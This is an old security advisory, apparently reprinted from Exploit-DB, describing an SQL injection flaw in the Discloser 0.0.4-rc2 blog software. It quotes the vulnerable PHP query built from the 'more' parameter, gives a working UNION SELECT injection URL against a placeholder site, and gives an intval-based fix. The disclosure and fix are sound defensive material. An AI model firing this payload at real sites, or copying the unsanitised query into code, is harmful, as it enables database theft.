SQL Injection in Discloser 0.0.4-rc2

vendor:

Discloser

by:

Salvatore Fresta aka drosophila

5,5

CVSS

MEDIUM

SQL Injection

CWE

Product Name: Discloser

Affected Version From: 0.0.4-rc2

Affected Version To: 0.0.4-rc2

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2004

SQL Injection in Discloser 0.0.4-rc2

This flaw allows a guest to insert arbitrary SQL statments in the affected query.

Mitigation:

To fix the flaw, you must to accept numeric content only, using, for example, intval PHP function.

Source

Exploit-DB raw data:

********   Salvatore "drosophila" Fresta   ********

[+] Application: Discloser
[+] Version: 0.0.4-rc2
[+] Website: http://discloser.sourceforge.net/

[+] Bugs: [A] SQL Injection

[+] Exploitation: Remote
[+] Date: 21 Feb 2004

[+] Discovered by: Salvatore Fresta aka drosophila
[+] Author: Salvatore Fresta aka drosophila
[+] E-mail: drosophilaxxx [at] gmail.com


***************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


***************************************************

[+] Bugs


- [A] SQL Injection

[-] Risk: medium
[-] File affected: displayposts.php

This flaw allows a guest to insert arbitrary SQL 
statments in the affected query.

...

if (isset($_GET['more'])) {
			$more = $_GET['more'];
			$query = mysql_query("select ". $tableprefix ."posts.*, ". $tableprefix ."users.username, ". $tableprefix ."users.email from ". $tableprefix ."posts, ". $tableprefix ."users where ". $tableprefix ."posts.poster = ". $tableprefix ."users.username and ". $tableprefix ."posts.id = $more");

...


***************************************************

[+] Code


- [A] SQL Injection

You can retrieve information from 3,4,7,8 fields.

http://www.site.com/path/index.php?more=-1 UNION ALL SELECT 1,'long',3,4,5,6,7,8,9,10


***************************************************

[+] Fix

To fix the flaw, you must to accept numeric content
only, using, for example, intval PHP function:

$more = intval($_GET['more']);


***************************************************

# milw0rm.com [2009-08-03]